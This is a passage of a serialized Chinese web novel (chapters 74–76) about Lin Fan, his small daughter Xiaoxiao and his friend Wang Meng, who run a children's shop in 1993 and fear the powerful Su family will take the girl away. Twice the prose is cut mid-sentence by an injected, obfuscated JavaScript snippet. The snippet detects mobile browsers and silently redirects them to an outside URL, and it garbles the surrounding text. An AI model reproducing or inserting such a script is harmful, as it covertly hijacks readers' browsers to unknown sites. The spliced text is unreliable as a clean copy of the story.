现在愿望实现了,还有笑笑这个小开心果,就算遇到苏家这样的事,只要他们俩一起扛,就没什么过不去的,就像当年一起扛下岗的难。 炒好的鸡蛋盛进盘子里,金黄的,还冒着热气,林凡又把番茄倒进锅里,“滋滋”声裹着番茄的酸甜漫出来,混着菜籽油的清香,连墙缝里都钻着这股子暖味。 王猛把葱段递过去:“快放葱,香味就出来了,放了葱更鲜。”林凡撒了把葱花,绿色的葱花落在红黄相间的菜里,瞬间添了几分亮色,香味更浓了。 关火时,他夹起一小块鸡蛋,吹凉了递到笑笑嘴边: “尝尝,烫不烫?咸不咸?” 笑笑张嘴咬下去,嘴角沾了点番茄汁,像涂了口红: “不烫!好吃!爸爸做的最好吃,王叔叔买的葱也香!” 三人围在小桌子旁吃饭,灯光暖融融的,把影子投在墙上。 笑笑捧着小碗,碗边沾了点饭粒,她用小手捡起来塞进嘴里,夹起一块鸡蛋放进嘴里,又夹了块番茄,吃得满脸都是; 林凡给王猛递了双筷子,让他多吃点,自己则时不时给笑笑擦嘴;王猛则时不时给笑笑夹菜,怕她够不着盘子里的番茄,还把鸡蛋里的葱挑出来,他知道笑笑不爱吃葱。 小厨房里,饭菜的香味、父女俩的笑声,还有王猛的打趣声,混着窗外偶尔传来的自行车铃声、馄饨店的吆喝声,把夜晚的温馨裹得满满当当—— 这是苏家的北京果脯、体操班换不来的,是属于他们三个的、最踏实的烟火气,像冬日里的暖阳,裹着心。 林凡锁上笑笑宝贝屋的木门时,风铃最后晃了晃,余音裹着巷口的晚风散在暮色里,风里还有馄饨店的香味。 他牵着笑笑,王猛跟在旁边,三人往住处走。 笑笑的小手攥着林凡的食指,指尖有点凉,林凡把她的手往自己的口袋里塞了塞,笑笑踮脚踢着地上的石子,石子滚出去老远,嘴里还哼着幼儿园教的儿歌: “太阳下山啦,月亮快出来呀,星星眨眼睛呀……” 王猛看着前面的父女俩,又看了看身后的店铺,店里的灯已经关了,只有招牌还隐约能看见,心里暗暗想: 明天早上,还得早点起来去进货,灯芯绒背带裤可不能断货,张婶还要带邻居来买呢,还有笑笑的棉鞋,也该买了,得挑双软点的。 1993年10月底的月亮,悄悄爬上了梧桐树的枝头,洒下一片清辉,把地面照得亮堂堂的。 林凡知道,未来的路或许会难,苏家可能还会来, 店里的生意也可能有起伏,但只要有王猛这个兄弟,有笑笑这个女儿,有笑笑宝贝屋这家店,他就敢一步步走下去—— 守护好身边的人,守好这家满是烟火气的小店,听着笑笑的笑声,闻着炒番茄的香味,就是他最大的幸福,比什么都踏实。 第75章 父女温情与苏家牵挂 1993年10月底,秋意像一层被阳光晒软的薄纱,裹着带着桂花香的微凉晚风漫过南方的小城。 街边两排梧桐树早已褪去盛夏的浓绿,枝头缀满金黄的叶片,风一吹,就像无数只振翅的蝴蝶打着旋儿落在青石板路上,层层叠叠堆出一寸多厚的松软“地毯”。 行人踩着上去,“沙沙”的声响伴着秋风在街巷里轻轻回荡,偶尔有扎着羊角辫、穿着碎花小外套的孩子,追着打转的落叶从街这头跑到那头, 清脆的笑声像刚剥开的橘子糖,甜丝丝地飘在空气里,连路过的老人都忍不住停下脚步,笑着朝孩子们的方向望一眼。 林凡的“笑笑宝贝屋”就藏在这条不算繁华却满是烟火气的街道中段,左边是卖糖炒栗子的小摊,刚出锅的栗子裹着焦香,热气腾腾地在铁锅里翻滚; 右边是飘着豆浆香的早餐店,磨好的豆浆顺着粗瓷勺子缓缓流入碗中,撒上一勺白糖,甜香能飘出半条街。店面虽只有二十来平米,却透着让人安心的暖意。 木质招牌被多年的阳光和雨水浸润,泛出温润的琥珀光泽,边角处还留着林凡当年亲手打磨的细腻纹路,没有一丝毛刺; 门楣上挂着两串彩色玻璃风铃,红色、蓝色、绿色的玻璃珠串在一起,风一吹就发出“叮铃叮铃”的脆响,老远就能听见,像是在跟路过的人热情打招呼—— 不少孩子就是循着这铃声,拉着家长的手走进店里的。 清晨的父女日常:小帮手的“任务” 清晨七点半,晨光刚把街道染成淡金色,天边还留着一抹淡淡的橘红,林凡就推开了店门。 门轴“吱呀”一声轻响,像是老伙计的问候,还没等他把那块写着“营业中”的原木色木牌挂好,一个小小的身影就从隔壁早餐店的方向扑了过来,穿着浅粉色的小鞋子,扎着两个翘翘的小辫子,稳稳地扎进他怀里。 “爸爸,爸爸!” 笑笑仰着肉嘟嘟的小脸,额头上还沾着一点早餐店的白糖末,像颗小小的白芝麻,一双黑葡萄似的大眼睛亮晶晶的,像藏着两颗揉碎的小星星, “今天我能在店里帮你整理文具吗?我昨天跟幼儿园的小花说,我能把橡皮摆得像小士兵一样整齐呢!小花还说要来看我摆的‘士兵队’,要是摆得不好看,她该笑话我啦!” 林凡弯腰抱起女儿,用指腹轻轻擦掉她额头上的糖末,指尖触到孩子温热的皮肤,心里软得一塌糊涂。 他在笑笑软乎乎的额头上亲了一口,笑着说:“当然可以啦,我的小帮手。 不过整理文具的时候要轻轻拿哦,可不能把铅笔弄断——你上次把新买的HB铅笔掰断,还跟我说‘它想变成两段陪我玩’,后来发现铅笔芯断在里面,还偷偷抹眼泪呢,还记得吗?” 笑笑不好意思地抿抿嘴,小脸蛋红扑扑的,小胳膊紧紧抱着林凡的脖子,在他脸颊上回蹭了一下,毛茸茸的头发蹭得林凡心尖发痒。 她小声嘟囔:“我这次肯定小心!我还会帮爸爸擦货架,用你给我的小抹布,把每个挂钩都擦得亮亮的,就像镜子一样能照出我!” 店铺里的暖意比街上更浓,刚进门就能闻到一股淡淡的洗衣粉香味,混合着棉花的柔软气息——那是林凡每天早上用温水擦拭货架时留下的。 他总说,孩子用的东西,一定要干净,不能有一点灰,不然孩子皮肤嫩,容易过敏。 宝贝屋里的“用心”:童装与文具的细节 左手边的童装区,浅木色的货架被擦得一尘不染,连金属挂钩都亮得能映出人影。 浅蓝、粉白、鹅黄的衣服按尺码整齐排列,从新生儿的连体衣到十岁孩子的外套一应俱全,伸手摸上去,全是柔软透气的纯棉布料,贴在皮肤上暖暖的。 这些衣服里,既有适合上学穿的藏青色运动套装,袖口和裤脚都缝着米白色的耐磨补丁,补丁边缘还细心地锁了边,针脚细密得看不见线头,不用担心磨到孩子娇嫩的皮肤; 也有过节穿的浅粉色小礼裙,裙摆上绣着细碎的白色小花,每一朵花都要绣上三四层,领口处缀着一圈小小的珍珠扣,圆润光滑,孩子转起来的时候,裙摆像朵绽放的樱花,引得不少家长驻足。 这些童装大多来自本地口碑极好的“娃娃乐”品牌,当时在小城的家长圈里几乎是“放心”的代名词。 这个品牌的老板是林凡的老熟人,之前也在国营厂工作,后来自己开了服装厂,专门做儿童服装。 他们用的都是新疆长绒棉,纤维长、韧性好,洗十几次都不褪色、不起球,领口也不会变形。更重要的是,价格还比国营商场里便宜三成—— 当时国营商场里一套儿童运动服要三十五块,而“笑笑宝贝屋”里只卖二十五块,普通工薪家庭都能接受。 据林凡蓝色封皮的销售笔记本记录,店里单“娃娃乐”品牌的童装每月就能卖出五十多套,开学季时销量更是能冲到七十多套,占童装总销量的七成左右,不少家长都是买过一次就成了回头客,还会带着朋友、同事来。 就像上周三傍晚,住在隔壁巷的张阿姨踩着下班的铃声冲进店里,手里还提着刚买的青菜,一口气买了三套“娃娃乐”的运动套装,一套藏青、一套浅灰、一套浅蓝。 “哎呀,林凡,可算赶上你没关门!” 张阿姨一边擦汗,一边翻着衣架上的衣服,跟林凡念叨,“我家那小子太皮了,上周刚在别的店买的裤子,没两天膝盖就磨破了,还哭着说不能去上体育课。 上次在你这儿买的浅蓝套装,穿了快一个月,膝盖那儿还是好好的,洗了好几次也没变形。昨天我邻居李姐看见,还追着我问在哪儿买的,说她家姑娘总嫌衣服硬,我让她明天就来你这儿看看!” 右手边的文具区更热闹,货架上摆满了孩子们喜欢的小物件,像一座五彩斑斓的小城堡。铅笔杆上印着米老鼠、唐老鸭的卡通形象,有的还裹着一层防滑的软胶,握在手里舒服极了; 笔帽上挂着小小的铃铛,写字的时候“叮铃”作响,引得孩子们爱不释手;橡皮做成小熊、兔子、草莓的模样,圆滚滚的,闻起来还有淡淡的水果香味,有苹果味、橘子味,还有孩子们最喜欢的草莓味; 连笔记本封面都是《葫芦娃》《黑猫警长》这些热门动画的角色,内页还印着可爱的小格子,有的格子里还画着小太阳、小花朵,孩子们写字的时候都更有劲头了。 笑笑正蹲在文具区的小凳子上——这凳子是林凡专门给她做的,高度刚好适合她——小心翼翼地把橡皮一个个摆进透明的展示盒里。 她小眉头微微皱着,一脸认真,嘴里还小声念叨着:“小熊橡皮要和小兔橡皮挨在一起,它们是好朋友,分开了会难过的。 还有草莓橡皮,要放在最上面,它最漂亮啦,小朋友一进来就能看见,就会喜欢它啦!爸爸,你看我摆得对不对?” 林凡走过去,靠在货架边看着女儿认真的样子,心里像被温水泡过一样柔软。 他还记得有一次王猛不小心把草莓橡皮挪到了下面,笑笑委屈地哭了,说“草莓橡皮见不到太阳,会不开心的”,后来王猛特意蹲下来跟草莓橡皮“道歉”,才把她哄好。 这时,门口的风铃又响了,“叮铃叮铃”的声音打断了父女俩的温馨时刻。 一个穿着蓝色外套的小男孩拉着妈妈的手走进来,小男孩留着**头,眼睛圆圆的,一下子就被货架上的笔记本吸引了,挣脱妈妈的手跑过来,指着一本印着孙悟空的笔记本喊: “妈妈,妈妈!我就要这个!孙悟空有金箍棒,可厉害啦!我们班好多同学都用这种笔记本,老师还夸它纸厚,写起来不洇墨呢! 上次我同桌用的就是这个,我看他写字的时候,墨水一点都没透到后面!” 小男孩的妈妈笑着跟过来,拿起笔记本翻了翻,纸张厚实光滑,摸起来很有质感。 她对林凡说:“这店里的文具确实不错,上次给孩子买的那盒铅笔,写起来特别顺滑,孩子说比学校门口小卖部买的好用多了,不容易断芯。 之前在小卖部买的铅笔,写着写着芯就断了,孩子还跟我发脾气,说耽误他写作业。” 林凡连忙笑着回应: “谢谢您的认可,我们选文具都特别注重质量,进货的时候都要亲自试一下—— 铅笔要写着顺滑、不易断芯,橡皮要擦得干净、不掉渣,笔记本的纸要厚、不洇墨,就是想让孩子们用得舒心。” 据他统计,文具区每月销售额能稳定在两千元以上,当时小城平均工资每月也就三百多块,赶上儿童节或期末考试前,销售额还能多卖几百块,最高的时候一个月卖了两千八百多块。 苏家的牵挂:舅舅的提议与父女的心意 自从苏瑾瑜上次来过,林凡表面上依旧保持着往日的节奏: 早上七点半准时开门,先把临街的玻璃窗擦得透亮,连窗缝里的灰尘都要拿小刷子仔细擦掉;再把货架上的衣服、文具一一摆整齐,童装按颜色和尺码排好,深色在下面,浅色在上面,方便家长挑选; 文具把最新款放在最显眼的位置,比如刚到的印着《西游记》角色的铅笔,就放在货架最上层;顾客来了,他笑着迎上去,耐心帮家长挑尺码,陪孩子选图案,还会讲笔记本封面上的动画故事,比如《黑猫警长》抓坏蛋的情节,引得孩子哈哈大笑。 可只有他自己知道,心里那根弦一直绷得紧紧的,连整理衣服时都忍不住走神。 苏瑾瑜是笑笑的亲舅舅,也是苏家集团的董事长—— 苏家背景深厚,苏老太爷苏定方是退休的国家七大**,姥爷苏振邦是军部高层领导,大舅、二舅也在重要岗位任职,苏瑾瑜在商界更是年轻有为。 苏瑾瑜平时很少来小城,这次来,显然是为了笑笑。 上次来的时候,苏瑾瑜穿着笔挺的中山装,面料考究,手里提着精致的“稻香村”点心盒;那是大城市有名的点心,小城很少能买到。 他坐在店里的小椅子上,喝了一杯林凡泡的茉莉花茶,茶都凉了,才慢慢说起正事。 他先是拉家常,问林凡最近生意怎么样,笑笑有没有长高,然后话锋一转,开始问笑笑的具体情况: “笑笑平时喜欢吃什么菜?在幼儿园有没有小朋友跟她一起玩?老师有没有夸她听话?” 提到“笑笑的未来”时,他的语气格外郑重,眉头微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671946|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱着: “林凡,我知道你对笑笑好,可小城的教育资源毕竟有限。 苏家能给笑笑更好的教育,让她去大城市读最好的小学、中学,还能请最好的老师教她弹琴、画画,让她成为有出息的人。 你总不能让她一辈子待在这个小城里,跟着你守着这家小店吧?” 说起“苏家能给的保障”时,他的眼神很笃定,手指轻轻敲着桌子: “只要笑笑回去,就能住进宽敞的房子,有自己的房间,里面有书桌、衣柜,还有她喜欢的玩具。 不用跟着你在小店里挤着—— 你这店后面的小隔间,又小又暗,孩子住得也不舒服。我们还会给笑笑存一笔教育基金,以后她上大学、出国,都不用愁。” 最后那句意味深长的“我们还会再见”,像一颗小石头一样压在林凡心上,让他夜里总睡不踏实。 他常常在半夜醒来,看着身边熟睡的笑笑,小小的身子蜷缩着,像只小猫,心里又酸又疼——他不能失去笑笑,这个孩子是他的命。 中午吃饭的时候,林凡把保温桶里的饭菜摆出来: 一碗番茄炒蛋,番茄熬得软烂,鸡蛋金黄,撒了一点葱花;一碗青椒肉丝,青椒脆嫩,肉丝入味; 还有笑笑最喜欢的蒸南瓜,软糯香甜,上面淋了一点蜂蜜。 这些菜都是他早上五点多起床做的,就为了让笑笑能吃到热乎的饭菜。 笑笑拿着小勺子,舀了一口番茄炒蛋递到林凡嘴边,小脸上满是关切: “爸爸,你快吃呀!你今天都没怎么吃东西,是不是不舒服呀?你的眉头一直皱着,像爷爷家挂的那幅老寿星画,一点都不好看。” 林凡看着女儿亮晶晶的眼睛,心里一暖,张开嘴接过菜,笑着说: “爸爸没事,就是早上在想今天要进什么新文具,有点走神了。 笑笑乖,多吃点蒸南瓜,才能长高高,以后才能帮爸爸看店呀。” 笑笑眨了眨眼,长长的睫毛像小扇子一样,小勺子在碗里搅了搅,小声说: “爸爸,是不是舅舅还会来呀?舅舅上次给我带的水果糖可甜了,我还留了一颗放在枕头底下呢,每天睡觉前都要看一眼。 但是我更想和爸爸在一起,不想去舅舅说的大城市。大城市没有糖炒栗子摊,也没有王猛叔叔陪我玩捉迷藏,我还想每天在店里整理橡皮,跟小花炫耀我的‘士兵队’呢。” 林凡放下筷子,伸手摸了摸笑笑的头,头发软软的,声音温柔又坚定:“放心吧,爸爸会一直陪着笑笑的,我们永远不分开。” 宝贝屋的意义:不只是店铺,更是家 这家店对林凡来说,早就不只是一个谋生的地方了。 它不仅是他和王猛的生计,更是他和笑笑的“家”—— 店里的每一块米黄色瓷砖,都是他和王猛当年一起铺的,当时王猛还不小心被瓷砖砸到了手,流了不少血,却笑着说“没事,这点小伤不算啥,过两天就好了”,然后继续干活; 每一个货架,都是他们两个人从建材市场扛回来的,货架很重,两人扛着走了两公里,累得满头大汗也舍不得花钱雇人,只在路边买了两瓶汽水,喝完又接着走。 笑笑的小垫子放在柜台旁边的角落里,是用粉色的棉布做的,上面堆着她常玩的积木和布娃娃—— 布娃娃是林凡去年给她买的生日礼物,笑笑走到哪儿都带着。每天放学,笑笑都会背着小书包跑过来,在小垫子上玩一会儿积木,等着林凡关店一起回家; 柜台下面的抽屉里,还藏着给笑笑准备的小零食,有水果糖、山楂片,还有她最喜欢的奶片,每当笑笑帮着整理完文具,或者乖乖吃饭的时候,林凡就会拿出一颗糖果奖励她,看着她笑得眼睛眯成一条缝,心里比吃了糖还甜。 王猛是林凡的老工友,两人在国营机床厂时就睡上下铺,一起扛过几十斤重的机床零件,零件压得肩膀生疼也没人喊累; 一起在车间加夜班,晚上饿了就分享一块饼干; 一起在食堂分一个馒头,你一口我一口,吃得格外香。后来工厂效益下滑,很多工友下岗,林凡手里有一千多块积蓄,又发现小城童装和文具市场有潜力—— 家长想给孩子买质量好、样式新的东西,国营商场贵、小卖部质量差,于是拉着王猛一起创业。 所有原始投资都是林凡出的,王猛没积蓄,林凡知道他懂销售、会打交道,就说:“猛子,钱的事你别担心,你负责接待顾客、做销售,算你人才入股,赚了钱咱们平分。” 王猛特别感动,每天早早来店里帮忙,见了家长就热情招呼,还会根据孩子情况推荐商品,成了店里的“活招牌”。 林凡知道,他绝不能让任何人破坏这份平静,更不能让笑笑离开自己。 当年笑笑的妈妈走得早,他一个人带着笑笑,又下岗失业,那段日子是他人生中最黑暗的时候,是笑笑的笑声让他重新振作,开了这家“笑笑宝贝屋”,给了笑笑一个安稳的家。 如今秋风吹过,风铃依旧“叮铃”作响,笑笑还在认真地摆着橡皮,林凡看着这一切,心里只有一个念头:守着这家店,守着笑笑,就是他这辈子最幸福的事。 第76章:懵懂的女儿 店里刚上新一批浅灰色的儿童冲锋衣,挂在专门的新品展示架上,衣架上还别着“防风保暖”的小标牌。 林凡正弯腰仔细整理价签,指尖划过冲锋衣的面料,柔软得像云朵般贴合皮肤,他知道这种面料是专门选的儿童专用防风材质,不仅能牢牢挡住秋风,还不会让孩子觉得束缚。 每一个价签上的数字,他都对着进货单反复核对,生怕出一点差错——这家店倾注了他所有的心血,容不得半点马虎。 就在这时,门口挂着的水晶风铃“叮铃”一声响,清脆的声音打破了店里的宁静,像一滴水珠落在平静的湖面,泛起圈圈涟漪。 一位穿着米色风衣的女士走进来,风衣的领口别着一枚小小的珍珠胸针,显得优雅又温柔。她手里提着个印着卡通兔子图案的帆布包,包侧还挂着一个小小的毛绒兔子挂件,一看就是位心思细腻的妈妈。 她刚进门,目光就像带着导航似的,很快在挂满童装的区域转了一圈,眼神在几件厚外套上停留了片刻。 王猛几乎是立刻从收银台后站了起来,椅子腿在地板上划出轻微的“吱呀”声。 他平时接待顾客总是从容不迫,可这次脚步比平时快了半拍,迎上去的时候,手不自觉地攥了攥衣角,语气里带着一丝自己都没察觉的紧绷:“您是从哪儿来的呀?” 女士愣了一下,显然没料到会被这么直接地追问,她指尖轻轻碰了碰一件袖口缝着小熊刺绣的米白色外套,刺绣的小熊眼睛是黑色的纽扣,显得格外灵动。 她随即笑着摆手,声音温和: “就住在隔壁阳光小区,想着这几天气温降得快,天快冷了,过来给女儿挑件初冬穿的外套,孩子今年五岁,穿110码应该差不多。” 可王猛还没放下心,眉头依旧微微皱着,又追着问:“那您怎么知道我们这家店的?是朋友介绍的,还是偶然路过呀?” 这话问得女士脸上的笑容淡了些,眼神里掠过一丝疑惑。 她拿起那件米白色外套,翻了翻内里毛茸茸的绒衬,浅棕色的绒毛蓬松柔软,指尖蹭过去的时候,像抚摸着小动物的皮**。 她又轻轻把外套放回衣架,动作里多了点不自在,声音也低了些: “就是刚才在街角李婶的水果摊买橘子,听李婶提了一嘴,说这儿的童装质量好,用料实在,不会有那些乱七八糟的添加剂,孩子穿着放心……” 说着,她又扫了眼货架,目光在几件衣服上犹豫了片刻,最后还是摇摇头,语气带着点歉意:“要不我再逛逛别家看看吧,麻烦了。” 话音刚落,她就转身推开玻璃门走了,风铃再次响起,这次的声音显得格外轻,像带着点委屈似的,慢慢消散在空气里。 林凡赶紧放下手里的价签纸,价签纸还夹在他的指间,他快步走过去,一把拉住王猛的胳膊,往店后的储物间走。 储物间里堆着几箱待上架的袜子和围巾,空气里弥漫着淡淡的布料清香。 林凡压低声音,语气里带着着急:“猛子,你刚才那劲儿也太冲了!咱们是开店做生意,哪有这么追着顾客问东问西的? 顾客来买东西图的就是个自在,你这么一问,谁还敢留下来? 上次张阿姨来给孙子买文具,她孙子非要那个印着奥特曼的笔记本,张阿姨还跟我聊了半天孩子的学习情况, 后来私下跟我说,你最近看人的眼神跟‘盯货’似的,眼神里带着股审视的劲儿,怪让人不自在的。 咱们这店开了快两年,靠的不就是老顾客的信任嘛! 之前三楼的陈姐,每次给双胞胎女儿买衣服都来咱们这儿,还在小区群里特意夸咱们,说‘给孩子买衣服就认笑笑宝贝屋, 用料实在,款式也好看,关键是老板人贴心,会根据孩子的身高体重推荐尺码’。 还有上次隔壁单元的赵哥,孩子突然发烧,急需一件厚外套,晚上九点多来敲门,咱们特意把刚收起来的外套找出来给他,他之后逢人就说咱们店靠谱。 要是把这些老顾客都吓跑了,咱们这店还怎么开?” 王猛挠了挠后脑勺,头发被他抓得有些凌乱,脸上满是焦虑,指节因为用力攥着而有点发白,连指尖都透着紧张。 他声音里带着无奈,像憋了一肚子的话终于找到了出口: “我这不是担心嘛!你忘了上个月苏瑾瑜来的时候?开着那辆黑色的越野车,车身上还隐约能看到几道划痕,一看就不是好惹的。 他后面还跟着两个穿黑衣服的人,戴着墨镜,站在门口跟门神似的,进门就直愣愣地问笑笑的情况,眼神里带着股凶劲儿,那阵仗多吓人! 谁知道他会不会派别人来打探?万一他们真要抢笑笑,咱们连个准备都没有! 上次我去菜市场买菜,在猪肉摊旁边,还听见两个男人议论说苏瑾瑜在咱们这一片打听孩子的事儿,说什么‘找到那个叫笑笑的孩子,老板有重赏’,我这心从那时候起就一直悬着,就怕出事。” 林凡拍了拍他的肩膀,指尖能清晰地感觉到王猛肩膀的僵硬,像是紧绷着一根随时会断的弦。 他叹口气,语气里满是理解,又带着点安抚: “我知道你是为了我们父女俩好,这份心意我记在心里。可咱们得沉住气,过度反应反而显得心虚。 要是让别有用心的人看出破绽,顺着咱们的紧张劲儿往下查,那不是更危险? 而且要是把常来的老顾客都吓跑了,咱们这店经营不下去,到时候连个落脚的地方都没有,反而更难守护笑笑。 你忘了,笑笑还等着咱们晚上陪她玩积木、给她讲睡前故事呢,她昨天还说,要搭一个带花园的大房子,让咱们三个都住进去。” 王猛点点头,可眼神里的担忧没散—— 他心里门儿清,这家店是林凡拿全部积蓄,甚至还跟乡下的亲戚借了三万块钱才开起来的,从找店铺、装修到进货,林凡熬了无数个通宵。 笑笑更是林凡的命根子,从笑笑三岁那年她妈妈因为意外走后,林凡就又当爹又当妈,每天早上五点多就起来给笑笑做早餐,晚上陪她写作业、讲故事,把所有心思都放在孩子身上。 王猛是林凡的发小,看着笑笑长大,他早就把这父女俩当成了自己的家人,必须帮着守住这父女俩的小家。 这会儿,4岁的笑笑正坐在店门口的小凳子上,凳子是林凡特意给她买的卡通款,凳面印着小猪佩奇。 她两条穿着粉色袜子的小腿晃来晃去,袜子上还绣着小小的蝴蝶结,随着动作轻轻摆动。 她手里捏着一片刚从路边捡的梧桐叶,叶子是深黄色的,边缘有点卷,像是被秋风揉皱了。 她正用小手指一点点捋平,小眉头微微皱着,专注得像在完成一件大事。 她还不懂大人们嘴里的“苏瑾瑜”是谁,也不明白为什么王猛叔叔最近总盯着进店的人看,眼神里带着她看不懂的严肃; 更不知道爸爸为什么有时候会对着货架发呆,手指无意识地摸着衣服的布料,半天都不动一下,连她喊“爸爸”都要反应好一会儿。 以前的笑笑,是店里的“小活宝”,有她在,店里永远充满欢声笑语。 早上一到店,她就会像个小蝴蝶似的围着林凡转,小裙子飘起来,像一片粉色的云朵。 她会举着自己用蜡笔画的小太阳,纸上还沾着点没洗干净的颜料,蹭得她鼻尖上都有一点,却毫不在意,兴奋地仰着小脸问: “爸爸,爸爸,这件粉色的小裙子上有小花,配我的太阳画,好看吗?我觉得特别好看,要是穿去幼儿园,老师肯定会夸我的!说不定小明还会跟我一起玩过家家呢!” 要是王猛在整理文具,把铅笔按长短排好,橡皮按颜色摆得整整齐齐,她就会拉着王猛的衣角,声音软乎乎的,像刚出炉的棉花糖: “猛子叔叔,陪我玩积木好不好?我搭个大房子给你住,里面还有小床和小桌子,咱们可以一起在里面吃饭,我还会给你做‘积木蛋糕’哦!” 她还会叽叽喳喳地讲幼儿园里的事,小手比划着: “今天老师夸我洗手洗得干净,还奖励我一颗小兔子形状的小贴纸呢!我把它贴在书包上了,你看!就是那个蓝色的小书包,上面还有小熊图案的那个!” 可现在,她常常一个人坐在小凳子上,托着下巴看街上飘落的落叶,一片、两片、三片,眼神里少了往日的活泼,像被蒙上了一层淡淡的薄雾。 刚才那位阿姨走的时候,她还抬头看了看爸爸和王猛叔叔的表情,爸爸皱着眉,嘴角向下撇着,王猛叔叔低着头,肩膀垮着, 她的小眉头也轻轻皱了一下,像个小大人似的,又低下头抠起了梧桐叶的边,用指甲一点点抠着,把叶子边缘抠出一个个小缺口,叶子的碎屑落在她的小裙子上。 王猛从储物间出来,一眼就看到笑笑孤零零的样子,小小的身影坐在门口,显得格外单薄。 他心里有点不是滋味,像被什么东西堵着,又酸又涩。 他想起前几天晚上,特意在网上找了手工教程,用家里剩下的木块和彩色绳子,给笑笑做了个小秋千玩具。 木块被他打磨得光滑无刺,还刷了笑笑最喜欢的粉色漆,绳子是柔软的棉绳,不会磨到小手,秋千下面还挂了个小小的铃铛,一动就会响。 他赶紧从收银台下面的柜子里把小秋千拿出来,柜子里还放着笑笑之前落在这儿的毛绒小熊。 他走到笑笑身边,蹲下来,把玩具递到她面前,声音放得特别温柔,像怕吓到她似的: “笑笑,你看叔叔给你做了什么?是小秋千哦,你可以把你的小熊玩偶放在上面,让它荡秋千,一荡还会响呢!” 笑笑的眼睛一下子亮了,像黑暗里突然亮起的灯,刚才的小失落消失了大半。 她伸出小手,小心翼翼地接过小秋千,手指碰了碰下面的铃铛,“叮”的一声,她的嘴角立刻向上扬了起来。 她仔细看了看秋千,又抬头看着王猛,小声问,声音里带着惊喜:“猛子叔叔,这是你做的吗?好漂亮呀,粉色的我好喜欢!铃铛也好听!” “是叔叔做的,”王猛笑着摸了摸她的头,手指轻轻拂过她柔软的头发, “要是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676794|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢,叔叔以后再给你做小火车、小房子,咱们一起玩好不好?刚才叔叔是不是有点凶呀?对不起,叔叔以后不那样了,咱们让店里热热闹闹的,像以前一样,好不好?” 笑笑点点头,小脑袋像个拨浪鼓,她抱着小秋千,从凳子上爬下来,拉着王猛的手说: “那猛子叔叔,现在陪我玩一会儿吧,咱们让小熊荡秋千,我还要给小熊唱儿歌呢!” 王猛立刻点头,脸上露出了久违的笑容,他陪着笑笑坐在小凳子上,一人一孩拿着小熊玩偶,轻轻推着小秋千,铃铛的响声和笑笑的笑声混在一起,店里终于又有了点往日的热闹。 这时,林凡从储物间出来,他原本还在想着刚才的事,对着货架发呆,手指无意识地摸着一件小外套的领口。 笑笑眼尖,一下子就看到了,她悄悄从凳子上滑下来,抱着小秋千,小步子轻轻跑到林凡身边,像只小猫咪似的,伸出胳膊抱住他的腿,仰着小脸,声音软得像棉花糖: “爸爸,不走。爸爸别不开心,你看猛子叔叔给我做的小秋千,可好看了,还有小铃铛呢!” 听到这话,林凡的心像被什么东西揪了一下,又酸又疼,眼泪差点就掉下来。 他立刻停下手里的动作,蹲下身把笑笑抱起来,用下巴轻轻蹭了蹭她柔软的头发—— 笑笑的头发上还带着早上用的儿童洗发水的奶香味,暖暖的,特别好闻,像刚盛开的牛奶花。 “笑笑乖,”他的声音放得特别柔,手指轻轻捏了捏笑笑的小脸蛋,软软的,“爸爸不走,爸爸会一直陪着笑笑,永远都不分开。 爸爸看到笑笑的小秋千了,真好看,猛子叔叔对你真好,是不是?以后咱们还要谢谢猛子叔叔呢。” 笑笑趴在林凡怀里,点点头,小脑袋在他肩膀上蹭了蹭,把小秋千举到他面前,献宝似的:“是呀,猛子叔叔可好了,以后咱们一起玩,我还要教小熊唱《小星星》呢!” 为了让笑笑更开心,每天关店后,林凡都会牵着笑笑的小手去附近的中心公园。 公园里的彩虹滑梯是笑笑的最爱,滑梯有红、橙、黄、绿四种颜色,从上面滑下来,像穿过一道彩虹。 每次到了滑梯旁,笑笑都会挣脱林凡的手,张开双臂,小脸蛋因为兴奋涨得红红的,像个熟透的小苹果,一边跑一边喊: “爸爸,你要接住我哦!我要滑下来啦!你可不能躲开!”话音未落,她就“嗖”地一下从滑梯上滑下来,风把她的小裙子吹得飘了起来,像一只展翅的小蝴蝶。 林凡则在滑梯下面稳稳地张开双臂,眼睛紧紧盯着笑笑,生怕她有一点闪失。 接住笑笑的瞬间,他能清晰地感受到怀里小小的身体满是活力,还能听到笑笑咯咯的笑声,清脆响亮,在暮色里飘得很远,连路过的老奶奶都停下脚步,笑着看她们,嘴里还念叨着:“这孩子真活泼,父女俩感情真好。” 有时候,林凡还会在公园门口的小摊上给笑笑买一支棉花糖。 小摊的老板是个和蔼的老爷爷,每次看到笑笑,都会多给她缠几圈棉花糖。粉粉的、软软的棉花糖拿在手里,像一朵小云彩,还带着淡淡的甜味。 笑笑会小心翼翼地舔一口,生怕把它碰坏了,然后眯起眼睛,满足地说:“爸爸,棉花糖好甜呀,像天上的云朵!要是能把它带回家,放在我的小盘子里,每天都能看就好啦!” 看着女儿脸上重新绽放的笑容,像春天里盛开的小花,娇嫩又可爱,林凡心里的焦虑才会稍微减轻一点,觉得不管以后遇到多少难事儿,只要能守着笑笑,能听到她的笑声,能每天抱着她睡觉,能看着她一点点长大,就都值得。 这天晚上,林凡给笑笑洗完澡,用柔软的浴巾把她裹起来,擦干她的头发,然后把她抱到床上。 